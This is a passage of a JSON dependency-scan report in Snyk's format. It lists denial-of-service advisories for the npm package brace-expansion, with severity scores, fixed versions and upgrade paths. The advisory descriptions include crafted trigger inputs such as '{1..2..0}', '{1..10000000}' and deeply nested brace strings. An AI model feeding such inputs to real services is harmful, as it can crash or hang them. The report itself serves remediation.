"2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", 